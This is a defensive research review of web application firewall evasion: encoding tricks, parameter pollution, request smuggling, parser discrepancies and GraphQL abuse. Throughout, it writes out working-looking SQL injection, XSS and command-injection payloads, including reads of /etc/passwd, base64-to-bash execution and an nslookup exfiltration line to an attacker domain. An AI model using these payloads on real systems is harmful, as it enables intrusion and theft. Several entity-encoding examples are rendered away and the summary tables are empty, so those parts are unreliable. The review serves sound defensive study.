A Comprehensive Review of WAF Evasion and Attack Obfuscation Techniques

1. Introduction

Web Application Firewalls (WAFs) serve as a critical security layer, positioned between web applications and the internet to monitor, filter, and block malicious HTTP/HTTPS traffic.¹ Their primary function is to protect applications from a wide range of attacks, including those listed in the OWASP Top 10, such as SQL Injection (SQLi), Cross-Site Scripting (XSS), and Command Injection.³ WAFs achieve this by inspecting incoming requests and outgoing responses against predefined rulesets, signatures, or behavioral models.¹

However, WAFs are not infallible.⁴ Attackers continuously devise sophisticated evasion and obfuscation techniques to bypass these defenses, exploiting inherent limitations, misconfigurations, or gaps in WAF detection logic.⁴ These bypass techniques allow malicious payloads, which might otherwise be caught by WAF signatures, to reach the target application, potentially compromising its confidentiality, integrity, or availability.⁸ Common consequences of successful WAF evasion include data breaches, unauthorized system access, malware injection, denial-of-service attacks, and website defacement.⁴

This report provides an exhaustive analysis of known WAF evasion and obfuscation techniques, drawing upon academic literature and industry research. It focuses specifically on methods used to bypass signature-based detection for vulnerabilities like SQLi, XSS, Command Injection, and other attacks relying on crafted application requests. Attacks that inherently bypass WAFs, such as those using stolen credentials, are outside the scope of this analysis. The objective is to create a definitive knowledge base that can be used to anticipate exploitation methods, improve threat modeling, and enhance the robustness of security controls like WAF rulesets and reverse proxy logic. The research examines general evasion categories, vulnerability-specific bypasses, API-targeted techniques, and real-world case studies, synthesizing this information into actionable insights for defense improvement.

2. Fundamental WAF Operation and Limitations

WAFs function as intermediaries, inspecting HTTP/S traffic before it reaches the web server.¹ They analyze various components of requests, including headers, query strings, request bodies, and cookies, comparing them against security policies.⁴ WAFs typically operate based on one of three primary security models ³:

1. Negative Security Model (Blocklisting): This model relies on predefined signatures or patterns of known malicious attacks (e.g., specific SQLi keywords, XSS script tags).³ Incoming traffic matching these signatures is blocked.¹¹ This is the most common model, often employed by signature-based WAFs.

• Weakness: Signature-based WAFs are inherently reactive. They struggle against zero-day vulnerabilities or novel attack variations for which no signature exists yet.¹ Attackers can often slightly modify known malicious strings to evade detection.¹¹ Frequent updates are necessary to maintain effectiveness, but these can lead to large, resource-intensive signature databases.¹¹ This model can suffer from a high rate of false negatives if an attack doesn't precisely match a known pattern.¹¹

1. Positive Security Model (Allowlisting): This model defines what constitutes legitimate traffic and blocks everything else.³ It specifies allowed request patterns, parameters, data types, and values.

• Weakness: Defining and maintaining an accurate positive security model can be complex and requires a deep understanding of the application's expected behavior.³ It can be prone to false positives, blocking legitimate traffic if misconfigured or if the application changes without corresponding updates to the WAF policy.⁷

1. Hybrid Security Model: This approach combines elements of both negative and positive models, attempting to leverage the strengths of each.³ For instance, it might use signatures for common attacks while applying stricter allowlisting rules to sensitive parts of an application, like an administrative interface.³

• Weakness: Hybrid models can be complex to configure and manage, potentially requiring significant processing power and fine-tuning.⁷

Beyond model limitations, other factors contribute to WAF bypass vulnerabilities:

• Misconfigurations: Incorrectly configured policies, default settings, or overly permissive rules can create security gaps.⁴
• Inadequate Request Scanning: Some WAFs may only inspect a portion of the request (e.g., the first few kilobytes), allowing attackers to hide payloads in larger requests or use padding.⁷
• Parsing Discrepancies: Differences in how a WAF parses HTTP requests compared to the backend application server can be exploited (discussed further in Section 3.5).¹⁰
• Weak Traffic Inspection: Static rule-based filtering may not understand the context or logic of an application, leading to bypasses.⁷
• Focus on Signatures: Over-reliance on signatures makes WAFs vulnerable to obfuscation and encoding techniques designed to disguise malicious patterns.¹¹

Newer WAF approaches incorporate scoring mechanisms, behavioral analysis, and machine learning to overcome some limitations of purely signature-based systems.¹ Scoring-based WAFs use rule sets that assign points to suspicious elements; if a request's score exceeds a threshold, it's blocked.¹¹ This can offer better protection against zero-day attacks but still requires careful tuning.⁸ Machine learning models analyze traffic patterns to detect anomalies, potentially identifying novel attacks but requiring robust training data and careful handling of false positives.⁷

3. General Categories of WAF Evasion Techniques

Attackers employ a diverse range of techniques to obfuscate malicious payloads or exploit WAF processing logic, aiming to make harmful requests appear benign to the firewall while remaining executable by the target application. These general strategies form the foundation for bypassing WAF signatures across various vulnerability types.

3.1. Encoding and Obfuscation

Encoding and obfuscation techniques alter the representation of malicious payloads to bypass pattern-matching rules while ensuring the backend application or browser can still decode and execute them.³ This relies heavily on the target system's (server or browser) ability to automatically decode various formats and potential discrepancies between how the WAF and the target decode the input.¹⁴

• Context-Specific Decoding: Both clients and servers decode data based on its context (e.g., URL parameters are URL-decoded, HTML content is HTML-decoded).¹⁴ Attackers choose encodings appropriate for the injection context, anticipating the target's decoding process.¹⁴
• Decoding Discrepancies: A critical vulnerability arises when the WAF's decoding process differs from the backend server's or browser's decoding process.¹⁴ If a WAF fails to decode input correctly (e.g., only performs single URL decoding when the backend performs double decoding), an attacker can use nested encodings to smuggle payloads past the filter.¹⁴

Common encoding and obfuscation methods include:

• URL Encoding (%XX): Replacing characters with % followed by their two-digit hex code.³ Essential for URLs, but can be used to obfuscate keywords (e.g., SELECT becomes %53%45%4C%45%43%54) if the WAF fails to decode before inspection.¹⁴ Double URL encoding (%25XX) can bypass WAFs that only decode once.³
• HTML Entity Encoding (&...;): Using decimal (&#NNN;), hexadecimal (&#xHHH;), or named entities (").³ Primarily used for XSS bypass, often effective within HTML attributes or content. The trailing semicolon can sometimes be omitted.¹⁹ Superfluous leading zeros (e.g., j) have also been used successfully.²¹
• Unicode Encoding (\uXXXX, \UXXXXXXXX): Representing characters using Unicode escape sequences.³ Applicable in URLs, JavaScript strings, CSS, and potentially JSON strings if not properly normalized by the WAF.²²
• Base64 Encoding: Encoding entire payloads or specific parts into Base64 strings.⁴ Often seen in conjunction with JavaScript (eval(atob('...'))) or data: URIs.¹⁹
• Hex Encoding (0x...): Representing strings or numerical values in hexadecimal format.¹⁶ Frequently used in SQLi payloads (e.g., 0x50 for character 'P').¹⁸
• Octal Encoding (\NNN): A less common method, sometimes used for IP address obfuscation or within strings in certain contexts.¹⁹ Python frameworks might decode octal escapes within quoted cookie values.²³
• JavaScript fromCharCode() / eval(): Dynamically constructing malicious strings at runtime using character codes (e.g., String.fromCharCode(88,83,83) for "XSS") combined with eval() or similar execution functions.³ This bypasses static signature matching for the final payload.
• Other Obfuscation: Techniques like string concatenation ('sel'+'ect'), using alternative but equivalent functions or syntax (e.g., SQL function synonyms like mid() for substring() ¹⁸), or exploiting language-specific quirks ¹⁷ can also evade simple pattern matching.

3.2. Whitespace, Comments, and Case Manipulation

These techniques exploit the tolerance of parsers (browsers, servers, interpreters) for variations in whitespace, comments, and character casing to break up or disguise malicious patterns that WAFs might detect using simple string or regular expression matching.¹

• Whitespace Manipulation: Inserting various whitespace characters like spaces, tabs (\t, ), newlines (\n, %0A,  ), carriage returns (\r, %0D,  ), vertical tabs (%0b), form feeds, or even null bytes (%00) within or between keywords, tags, or operators.² Many parsers ignore or normalize extraneous whitespace, but it can disrupt WAF regex patterns.² For example, jav ascrtipt: or uni%0bon might bypass filters looking for the exact strings.¹⁸
• Comment Insertion: Using language-specific comments (e.g., SQL's --, #, /*... */ ¹⁸; HTML's `` ³) to split keywords or payloads (e.g., un/**/ion, sel/**/ect ¹⁸; <script>alert/**/()/**/</script> ³). WAFs might incorrectly strip comments or fail to match patterns broken by them.¹⁸ Some WAFs might be vulnerable if they replace comment patterns with empty strings, allowing reconstruction of the attack.²⁰
• Case Variation/Toggling: Using mixed case (e.g., SeLeCt, <ScRiPt>, UnIoN/**/SeLecT) to bypass case-sensitive WAF rules.¹ This is effective against less sophisticated WAFs that don't normalize case before matching.¹⁶
• Non-alpha-non-digit Characters: Inserting characters that are syntactically ignored or treated as separators between keywords or tags, particularly in contexts like HTML tag parsing or event handlers (e.g., <SCRIPT/SRC=...>, <BODY onload!#$%&()*~+-_.,:;?@[/|\\]^=alert("XSS")>`).¹⁹

3.3. HTTP Parameter Pollution (HPP)

HPP exploits ambiguities in how different web server technologies and application frameworks handle multiple HTTP parameters submitted with the same name within a single request.¹ Since the HTTP specification (RFCs) does not strictly define behavior for duplicate parameters, implementations vary significantly.²⁴

• Server Behavior Differences: This variation is key to HPP exploitation. Different backend stacks (e.g., ASP.NET/IIS, PHP/Apache, JSP/Tomcat, Python/WSGI, Perl/CGI) might:

• Use only the first occurrence of the parameter.²⁰
• Use only the last occurrence of the parameter.²⁰
• Concatenate all values, often separated by a specific delimiter like a comma (,) or tilde (~~).²⁰
• Return an array containing all values.²⁰ A table detailing specific behaviors for various technologies can be found in sources like.²⁰ Developers must be aware of their specific stack's behavior.²⁶

• WAF Bypass Mechanism: Attackers leverage these inconsistencies by splitting a malicious payload across multiple instances of the same parameter name.¹⁸ A WAF might be configured to only inspect the first (or last) parameter instance, deeming the fragmented parts harmless.¹ However, the backend application, following its specific logic (e.g., concatenation or using the last instance), might reassemble or process the malicious part, leading to successful exploitation.²⁶
• Exploitation Scenarios: HPP can be used to:

• Bypass WAF rules and input validation checks.²⁴
• Override hardcoded or hidden parameters.²⁶
• Modify application behavior (e.g., forcing a redirect to a malicious site by polluting a redirectURL parameter).²⁵
• Access or exploit variables not intended for direct user control.²⁶
• Enable other attacks like SQLi or XSS by injecting parts of the payload via polluted parameters.¹⁸
• Client-side HPP: Manipulating URLs in responses (e.g., links, form actions) by injecting encoded delimiters and parameters into user-controlled input that gets embedded in those URLs. This can cause links or forms to behave unexpectedly when clicked by a victim.²⁶

3.4. HTTP Request Smuggling (HRS)

HRS exploits discrepancies in how chained HTTP servers—typically a front-end proxy, load balancer, or CDN, and a back-end application server—interpret the boundaries of consecutive HTTP requests within a single TCP connection.¹⁰ This usually involves manipulating the Content-Length (CL) and Transfer-Encoding: chunked (TE) headers in HTTP/1.1 requests.³⁰ A successful attack allows an attacker to "smuggle" a malicious request past the front-end server, causing the back-end server to prepend it to the next legitimate user's request.³¹

• Core Variants (HTTP/1.1):

• CL.TE: The front-end server processes the Content-Length header, while the back-end server prioritizes the Transfer-Encoding: chunked header.³¹ The attacker crafts a request where the Content-Length value is larger than the size of the chunked data up to the terminating 0 chunk. The front-end forwards the entire request based on CL. The back-end processes the chunked data, stops at the 0 chunk, and treats the remaining bytes (the smuggled payload) as the start of the next request.³¹
• TE.CL: The front-end server processes the Transfer-Encoding: chunked header, while the back-end prioritizes Content-Length.³¹ The attacker sends a chunked request but includes a Content-Length header with a value smaller than the actual chunked body size. The front-end forwards the complete chunked request. The back-end reads only the number of bytes specified by CL, leaving the remaining bytes of the chunked payload to be prepended to the next request.³¹
• TE.TE: Both servers support TE, but one can be tricked into ignoring the TE header (e.g., through obfuscation), while the other processes it, leading to desynchronization. This is generally less common than CL.TE or TE.CL but variations exist.³¹

• HTTP/2 Downgrade Attacks: While HTTP/2 itself has a more robust mechanism for determining request length and is generally immune to classic HRS ³⁰, vulnerabilities can arise when an HTTP/2 front-end server communicates with an HTTP/1.1 back-end server.³⁰ The process of downgrading the request from HTTP/2 to HTTP/1.1 can reintroduce ambiguities related to CL and TE headers, leading to H2.CL and H2.TE vulnerabilities.³¹ HTTP/2 also introduces potential smuggling vectors via CRLF injection in headers, manipulation of header names, or abuse of pseudo-headers (:method, :path, etc.) during the downgrade translation.³¹
• Exploitation and Impact: HRS is a powerful technique enabling various attacks ³¹:

• Bypassing Front-End Security Controls: Smuggled requests go directly to the back-end, bypassing WAF rules, access controls, or authentication checks enforced only at the front-end.³¹
• Revealing Front-End Request Rewriting: Observing how smuggled requests are processed by the back-end can reveal internal headers (like X-Forwarded-For or internal user IDs) added by the front-end.³¹
• Session Hijacking / Capturing User Requests: The smuggled request can be designed to capture the subsequent legitimate user's request (including headers like Cookie) and exfiltrate it, potentially stealing session tokens or sensitive data.³¹
• Cross-Site Scripting (XSS): Smuggling a request containing an XSS payload can cause the payload to be reflected in the response to the next user's request.³¹
• Web Cache Poisoning/Deception: A smuggled request can manipulate the back-end into generating a malicious response that gets cached and served to other users.³¹
• Redirect Manipulation: Turning internal redirects into open redirects.³¹

3.5. Protocol-Level Evasion and Parsing Discrepancies

This category encompasses techniques that exploit fundamental differences in how WAFs and back-end applications interpret the HTTP protocol itself or parse complex data formats within requests.⁹ These bypasses often target the parsing logic rather than just obfuscating a known malicious payload string. They stem from ambiguities in standards, implementation errors, or differing levels of strictness in protocol adherence.

• Parsing Discrepancies: The core issue is that the WAF's parser and the application's parser interpret the same byte stream differently.¹⁰ An attacker crafts a request that the WAF parses as benign (or fails to parse correctly, thus not applying rules), but the application parses successfully, extracting and executing the embedded payload.⁹
• Malformed Request Structures: Exploiting differences in handling malformed elements like query strings, form data, JSON, or XML.⁹ For example, a WAF might reject a request with duplicate JSON keys, while the backend application might accept it but only process the first or last key, potentially hiding a malicious value.²²
• Content-Type Confusion: Sending a request with a Content-Type header that mismatches the actual payload format (e.g., sending XML data with Content-Type: application/json).²² If the WAF relies on the Content-Type to select its inspection rules (e.g., applying JSON rules but not XML rules), and the backend server is configured to accept or attempt parsing multiple types, the attack payload (e.g., XXE in the XML) might bypass the WAF's checks.³⁵
• RFC Compliance Issues: Exploiting situations where the WAF and the backend application adhere differently to HTTP RFC standards or handle edge cases inconsistently.⁹ This could involve non-standard header formats, unusual character encodings, or specific protocol features. For instance, CVE-2024-1019 exploited how ModSecurity v3 decoded URL paths before separating the query string, contrary to RFC expectations, allowing path-based payloads to bypass inspection.³⁷
• Targeting Non-Malicious Components (WAFFLED Findings): Research demonstrated successful bypasses against major WAFs (AWS, Azure, Cloudflare, ModSecurity) by mutating non-payload elements of requests using common content types (JSON, XML, multipart/form-data).⁹ The attack payload remained unchanged. Mutations included altering multipart boundaries, XML namespaces, JSON structural elements (e.g., adding null bytes, misplacing fields), or headers.⁹ These mutations caused parsing discrepancies, allowing the intact payload through the WAF to be correctly parsed by backend frameworks (Flask, Laravel, Express, etc.).⁹ Identified root causes included parameter type confusion, differences in parsing malformed structures, and inconsistent RFC support.¹⁰
• Normalization Bypasses: Exploiting flaws in how a WAF "normalizes" or cleans input before inspection.¹⁸ For example, if a WAF incorrectly removes nested comments or path traversal sequences, it might inadvertently allow a malicious payload through (e.g., /?id=1/*union*/union/*select*/select+1,2,3/* might be cleaned improperly, leaving a valid attack).¹⁸

The increasing reliance on APIs and complex data formats like JSON and XML makes this category of bypass particularly relevant.¹⁶ Traditional WAFs, often designed with simpler HTML form data in mind, may struggle with the nuances of these more complex parsers, creating exploitable seams where the WAF's understanding diverges from the application's.⁹

3.6. Payload Fragmentation and Padding

These techniques involve breaking malicious payloads into smaller, seemingly innocuous parts or adding extraneous data to obscure the payload or push it beyond the WAF's inspection limits.¹

• IP Fragmentation: Splitting the malicious payload across multiple IP packets.¹⁶ This is generally ineffective against modern WAFs operating at the application layer, as they typically work on reassembled TCP streams or complete HTTP requests. It's more relevant for bypassing network-level intrusion detection systems.
• HTTP Parameter Fragmentation (HPF): Distributing parts of a malicious payload across different HTTP parameter names.¹⁸ If the backend application concatenates or combines the values of these different parameters in a predictable way, the full payload can be reconstructed after passing through the WAF, which inspects each parameter individually. For example, /?a=1+union/*&b=*/select+1,2 might be reassembled by the application into a functional SQLi query.¹⁸ This differs from HPP, which uses duplicate parameter names.
• Request Splitting / Session Awareness Bypassing: Spreading the attack logic across multiple sequential HTTP requests.¹ This targets stateless WAFs that inspect each request independently without considering the context of the user session.¹⁶ An attacker might send benign requests first, followed by a request containing the malicious payload, potentially bypassing detection that relies on seeing the entire attack sequence in one go.¹⁶
• Payload Padding (SQLi): Adding a large amount of non-malicious data (e.g., comments, whitespace, junk characters) to the beginning or middle of a payload, particularly for SQLi.⁷ The goal is to push the critical malicious part of the payload beyond the maximum number of bytes the WAF is configured to inspect within a request parameter or body.⁷ This requires the attacker to know or guess the WAF's inspection limits.

Table 1: General Evasion Techniques Summary

4. Bypass Techniques for Specific Vulnerabilities

While the general evasion techniques described above form the attacker's toolkit, their application is tailored to the specific vulnerability being exploited and the patterns the WAF is likely trying to detect. This section examines how these techniques are applied to bypass WAF signatures for SQL Injection, Cross-Site Scripting, and Command Injection.

4.1. SQL Injection (SQLi) Evasion

SQLi attacks involve injecting malicious SQL code into input fields to manipulate backend databases.⁵ WAFs typically attempt to block SQLi by detecting SQL keywords (SELECT, UNION, INSERT, UPDATE, DELETE, DROP, etc.), comment characters (--, #, /*), string delimiters ('), common functions (sleep(), benchmark(), substring(), load_file()), and typical injection syntax (e.g., OR 1=1).⁵ Attackers use various evasion techniques to circumvent these filters:

• Encoding:

• URL encoding keywords or special characters: /*!u%6eion*/ /*!se%6cect*/ bypasses filters for union and select.¹⁸ %27 for single quote.⁶
• Hex encoding strings or characters: 0x50=0x50 instead of 'P'='P'.¹⁸ mid(password,1,1)=0x2a.¹⁸
• Double URL encoding if the WAF only decodes once.¹⁴

• Whitespace and Comments:

• Inline comments: un/**/ion or sel/**/ect to break keywords.¹⁸ Any sequence the WAF strips can potentially be used (e.g., #####, %00).²⁰
• Padding: Adding excessive whitespace or comments to push malicious parts beyond inspection limits.⁷
• Using alternative whitespace like vertical tabs (%0b) if spaces are filtered: uni%0bon+se%0blect.¹⁸

• Case Variation:

• Using mixed case: UnIoN, SeLecT, Or.¹⁶ Effective against case-sensitive rules.

• Keyword/Function Manipulation:

• Keyword splitting/repetition: If a WAF simply replaces keywords, UNunionION might become UNION after replacement.¹⁸
• Function synonyms: Replacing filtered functions with equivalents: mid() or substr() for substring(); hex() or bin() for ascii(); sleep() for benchmark().¹⁸
• Alternative operators/logic: Using <> or != instead of =; using bitwise operators; using less common comparison functions like strcmp(), locate(), find_in_set(), regexp, like.¹⁸

• Normalization Bypass:

• Exploiting incorrect cleaning by the WAF: /?id=1/*union*/union/*select*/select+1,2,3/* might bypass a WAF that removes the commented parts but fails to detect the remaining valid keywords.¹⁸

• Parameter Manipulation (HPP/HPF):

• HPP: Splitting the query across duplicate parameters, e.g., /?id=1;select+1&id=2,3+from+users....¹⁸ Success depends on backend concatenation/parsing.²⁰
• HPF: Splitting across different parameters, e.g., /?a=1+union/*&b=*/select+1,2 where the application joins a and b.¹⁸

• JSON-based SQLi:

• Embedding SQL syntax within JSON structures or using JSON-specific SQL functions/operators (e.g., JSON_EXTRACT, ->, ::jsonb).³⁶ WAFs lacking proper JSON parsing capabilities may fail to detect the embedded SQLi.³⁶ Claroty research demonstrated bypasses against 5 major WAF vendors using this technique.³⁶ Example: ' or JSON_LENGTH("{}") <= 8896 union distinctrow select @@version#.³⁹

• Buffer Overflow/Crash:

• Sending extremely long, crafted SQLi payloads in an attempt to crash WAFs potentially developed in C/C++.¹⁸ Example: page_id=-15+and+(select 1)=(Select 0xAA[...(1000+ 'A's)...]) +/*!uNIOn*/....¹⁸ A 500 error response might indicate success.¹⁸

• Obfuscated Logic/Syntax:

• Using less common SQL features or complex logical constructs that evade simple signatures. Example: unhex(hex(Concat(..., CHAR(32),...))) to potentially bypass collation-related filters.¹⁸ Using strcmp(left('password',1), 0x70) = 0 for character comparison.¹⁸

4.2. Cross-Site Scripting (XSS) Evasion

XSS attacks involve injecting malicious scripts (usually JavaScript) into web pages viewed by other users.⁷ WAFs attempt to block XSS by filtering common HTML tags (<script>, <img>, <iframe>, <a>, <svg>), event handlers (onerror, onload, onmouseover, onclick), the javascript: pseudo-protocol, dangerous functions (alert(), eval(), document.cookie), and character combinations indicative of script injection.¹⁹ The flexibility of HTML and JavaScript, combined with browser quirks, provides numerous evasion avenues:

• Encoding:

• HTML Entities: Using decimal (j for 'j') or hex (j) entities, potentially without the trailing semicolon, to encode javascript: or other parts of the payload.³ Example: <a href="ja&#x76...;">.¹⁹ Using superfluous leading zeros (j).²¹
• URL Encoding: Encoding characters within URLs or attributes (%3Cscript%3E).³
• Base64 Encoding: Often used with eval(atob('...')) or data: URIs.¹⁷ Example: <img onload="eval(atob('...'))">.¹⁹
• JavaScript String.fromCharCode(): Building payloads dynamically: alert(String.fromCharCode(88,83,83)).¹⁹
• Unicode Escapes (\uXXXX): Usable in JavaScript strings, CSS url() values, etc..³ Example: <div style="background-image:\0075rl('\006aavascript:alert(1)')">.
• Mixed Encodings: Combining multiple encoding types.¹⁹

• Tag and Attribute Malformation:

• Omitting quotes around attribute values: <a onmouseover=alert(1)>.¹⁹
• Malformed IMG tags: <IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>.¹⁹
• Extraneous/Unclosed Tags: < <SCRIPT>...//\< </SCRIPT>, <SCRIPT SRC=...< B > (Firefox), <IMG SRC="<javascript:alert>('XSS')" (IE).¹⁹
• Skipping Expected Attributes: Using event handlers on tags without standard attributes like href or src: <a onmouseover=alert(document.cookie)>link</a>.¹⁹

• Event Handlers:

• Leveraging a vast array of event handlers (onmouseover, onerror, onload, onfocus, onclick, onstart, etc.) on diverse HTML elements (<img>, <a>, <body>, <iframe>, <svg>, <input>, <video>, <marquee>, etc.).¹⁹ Example: <IMG SRC=# onmouseover="alert('xxs')">.¹⁹

• Protocol/Scheme Obfuscation:

• Injecting whitespace (space, tab , newline  , carriage return  ), null bytes (%00), or comments within the javascript: scheme: jav ascrtipt:, java%0ascript:.¹⁷
• Using HTML entities within the scheme: javascript:.¹⁹
• Using // instead of http:// or https:// for source URLs, which might bypass some regex filters.¹⁹
• Using data: URIs to embed encoded payloads.

• CSS-Based XSS:

• Using expression() (IE only) or url('javascript:...') in CSS properties.¹⁹
• Using Unicode escapes within CSS values.¹⁹

• Filter Evasion Quirks:

• Using default/empty SRC attributes with event handlers: <IMG SRC=# onmouseover="...">, <IMG SRC= onmouseover="...">, <IMG onmouseover="...">.¹⁹
• Triggering onerror with an invalid source: <IMG SRC=/ onerror="alert(...)"></img>.¹⁹
• Escaping the WAF's escape character: If WAF escapes " as \", injecting \" results in \\" which the browser interprets as a literal backslash followed by a quote, potentially breaking out of a string context: \";alert('XSS');//.¹⁹
• Using non-alpha-non-digit characters as separators: <SCRIPT/SRC="...">, <BODY onload!#$%&...=alert("XSS")>.¹⁹
• Using SVG for script execution: <svg/onload='+/"/+/onmouseover=1/+/[*//+alert(42);//'>` (polyglot example).¹⁹ Cloudflare bypass reported using SVG tags.²¹

The sheer number of variations and the forgiving nature of browser parsing make comprehensive XSS signature coverage extremely challenging for WAFs.¹⁹ DOM-based XSS, where the payload executes entirely client-side without reaching the server, is inherently difficult for server-side WAFs to prevent.¹⁷

4.3. Command Injection Evasion

Command injection (or OS Command Injection) involves injecting operating system commands through vulnerable application input fields, allowing attackers to execute arbitrary commands on the server.⁵ WAFs try to block this by filtering shell metacharacters (;, |, &, $, (, ), ```, \, >), common command names (ping, ls, cat, nc, wget, curl, rm), sensitive file paths (/etc/passwd, /etc/shadow), and known exploit patterns (like Shellshock).⁴⁴ Evasion techniques include:

• Shell Metacharacter Alternatives:

• Using different command separators if some are blocked: &&, ||, newline (%0A) instead of ; or &.⁴⁵
• Using command substitution syntax: $(command) or backticks command.⁴⁵

• Encoding and Obfuscation:

• URL encoding metacharacters or spaces (%20, +).⁴⁴
• Base64 encoding commands and piping to shell: echo bHM= | base64 -d | bash (for ls).
• Using hex (\x26) or octal (\046) escapes within strings passed to commands or interpreters.
• Using tools like printf or scripting languages (perl, python) available on the system to generate commands from encoded representations.

• Whitespace Alternatives (Linux/Unix):

• Using Internal Field Separator (IFS) variables like ${IFS}, $IFS$9, < or <> redirection with commands that read from stdin instead of spaces: cat${IFS}/etc/passwd, sort< /etc/passwd.
• Using tabs (%09) or other whitespace characters recognized by the shell.

• Variable and Globbing Expansion:

• Using environment variables: $PATH, $HOME, $SHELL.
• Using shell globbing (wildcards) to match commands or files without typing the full name: /???/c?t /???/p??swd for cat /etc/passwd.

• Windows Environment Variable Substring Expansion:

• A powerful technique for Windows targets where specific characters (like space) are blocked.⁴⁴ Attackers can construct commands using substrings of known environment variables. Example: ping%PROGRAMFILES:~10,1%127.0.0.1 uses the 11th character (index 10) of %PROGRAMFILES% (which is typically a space) to separate ping and the IP address.⁴⁴ Entire commands can potentially be built this way.⁴⁴

• Alternative Commands and Syntax:

• Using equivalent commands: wget or curl for data transfer instead of nc; python -c '...', perl -e '...', php -r '...' for execution if interpreters are available.⁴⁷
• Using shell built-ins (echo, printf, read, eval).
• Leveraging application-specific functions that execute commands if direct shell access is filtered (e.g., java.lang.ProcessBuilder instead of Runtime.exec ⁴⁸).

• Blind Injection Techniques:

• When command output is not directly visible.⁴⁵
• Time Delays: Using commands like ping -c 10 127.0.0.1 (Linux) or sleep 10 (Linux) or ping -n 10 127.0.0.1 (Windows equivalent) to cause a measurable delay in the application's response.⁴⁵
• Output Redirection: Redirecting command output to a web-accessible file: whoami > /var/www/static/output.txt, then browsing to the file.⁴⁵
• Out-of-Band Exfiltration: Using commands like curl, wget, or nslookup to send data to an attacker-controlled server (e.g., nslookupwhoami.attacker.com).

• Quotation Termination:

• If the injected input is placed within quotes in the final command executed by the application (e.g., program -p "user_input"), the attacker must first terminate the quote (") before injecting shell metacharacters.⁴⁵ Example: input"; command_to_inject #

• Using Comments:

• Using # (in Unix-like shells) to comment out the rest of the original command line after the injected payload, preventing errors or unwanted execution.⁴⁷

Table 2: Vulnerability-Specific Bypass Examples

5. API-Specific WAF Bypass Techniques

Modern web applications increasingly rely on Application Programming Interfaces (APIs), particularly RESTful services using JSON and GraphQL endpoints, to handle data exchange between clients, servers, and microservices.³⁵ Protecting these APIs presents unique challenges for WAFs compared to traditional HTML-based applications, primarily due to the different data formats (JSON, XML), interaction patterns (statelessness, complex queries), and specific protocol features involved.¹

5.1. Exploiting Content Types (JSON, XML)

APIs frequently use JSON or XML for data serialization. WAFs may struggle to effectively parse and inspect these potentially complex and deeply nested structures compared to simpler URL-encoded form data.¹ This can lead to bypasses through various techniques:

• Content-Type Confusion: An attacker might send a payload in one format (e.g., XML containing an XXE payload) but declare a different format in the Content-Type header (e.g., application/json).³⁵ If the WAF selects its inspection rules based solely on the declared Content-Type, it might apply JSON rules and miss the XXE vulnerability. If the backend server is lenient and attempts to parse the body as XML despite the header (or accepts multiple content types for the endpoint), the attack succeeds.³⁵ This highlights the importance of strict content type validation by both the WAF and the application.⁵¹
• JSON Parsing Bypasses: Exploiting inconsistencies in how WAFs and backend JSON parsers handle edge cases or malformed data ⁹:

• Malformed JSON: Using slightly invalid JSON structures (e.g., missing commas, missing/extra colons, duplicate keys) that might confuse or halt the WAF's parser but are still partially or fully processed by a more tolerant backend parser.²² Research on AWS WAF showed that requests with missing commas were not properly inspected, and inspection stopped after duplicate keys were encountered.²²
• Unicode Escape Sequences: Employing Unicode escapes (\uXXXX) within JSON string values.²² If the WAF fails to normalize these escapes before applying signatures, it might miss embedded attack patterns.
• Nested Payloads: Hiding malicious strings deep within complex, nested JSON objects or arrays. WAF inspection depth might be limited, or rules might not be configured to recurse effectively.
• JSON-based SQL Injection: As previously discussed, embedding SQL commands within JSON syntax or using JSON-specific SQL functions (e.g., JSON_EXTRACT, ->, <@, ::jsonb).³⁶ This proved effective against major WAF vendors who initially lacked support for parsing SQL syntax within JSON contexts.³⁶

• XML Parsing Bypasses: Similar to JSON, exploiting parsing differences for XML ⁹:

• XXE via Content-Type Confusion: Triggering XML External Entity (XXE) injection on an endpoint expecting JSON by sending an XML payload with Content-Type: application/xml.³⁵
• Structural Manipulation: Mutating XML structure, such as namespaces, DOCTYPE declarations (e.g., confusing closure), or schema elements, to cause parsing discrepancies between the WAF and the backend XML parser.⁹ This was explored in the WAFFLED research.¹³
• Encoding within XML: Using XML entities or CDATA sections to obfuscate payloads within XML data.

5.2. GraphQL Evasion Techniques

GraphQL offers a flexible query language for APIs, allowing clients to request exactly the data they need.⁵³ However, this flexibility, along with features like introspection and batching, introduces unique attack vectors that WAFs must address.⁴⁹

• Introspection Query Abuse: GraphQL allows clients to query the __schema field to discover the API's structure (types, fields, queries, mutations).⁵³ If introspection is enabled in production (a common misconfiguration), attackers can use it to map the entire API surface, identify potentially sensitive fields or operations, and tailor further attacks.⁴⁹ WAFs should ideally block or restrict introspection queries in production environments.⁴⁹ If full introspection is blocked, attackers might still glean information from suggestions provided in error messages (a feature in Apollo GraphQL) or by probing specific types/fields.⁵⁵
• Query Complexity / Depth / Aliasing for DoS: Attackers can craft excessively complex or deeply nested queries designed to consume disproportionate server resources (CPU, memory), leading to Denial of Service (DoS).⁴⁹ GraphQL aliases allow requesting the same field multiple times under different names within a single query; abusing aliases can bypass simple rate limits based on the number of requests or top-level fields, potentially amplifying resource consumption or facilitating brute-force attacks.⁵⁵ WAFs or the GraphQL server itself need mechanisms to limit query depth, complexity (e.g., cost analysis), operation count, and overall request size.⁴⁹
• Batching Attacks: GraphQL allows multiple queries or mutations to be sent in a single HTTP request (batching).⁴⁹ Attackers can abuse this for brute-force attacks (e.g., trying many passwords, coupon codes, or user IDs in one request), bypassing traditional WAF rate limiting rules that count individual HTTP requests.⁴⁹ Defenses involve implementing rate limiting at the object/resolver level within the application, preventing batching for sensitive operations, or limiting the number of operations allowed per batch request.⁴⁹
• Injection within Arguments: GraphQL queries and mutations accept arguments. If these arguments are not properly validated, sanitized, or parameterized by the backend resolver logic, they can be vectors for standard injection attacks like SQLi, NoSQLi, OS Command Injection, SSRF, etc..⁴⁹ All the general obfuscation and encoding techniques discussed earlier can be applied to payloads within GraphQL arguments to bypass WAF signatures.⁴⁹ Parameterized queries/safe APIs and strict input validation are crucial backend defenses.⁴⁹
• Authorization Bypasses: GraphQL's field-level granularity can lead to authorization vulnerabilities (Broken Object Level Authorization - BOLA, Broken Function Level Authorization - BFLA) if access control is not consistently enforced at every level (edges and nodes).⁴⁹ Attackers might request sensitive fields alongside permitted fields within a single query, potentially bypassing checks implemented only at a higher level.⁵⁴ Complex schemas increase the risk of oversight.⁵⁴ WAFs generally cannot prevent logic-based authorization flaws, highlighting the need for robust authorization checks within the GraphQL resolvers.⁴⁹

5.3. General REST API Considerations

Beyond specific formats like JSON or GraphQL, general REST principles and common practices can be targeted:

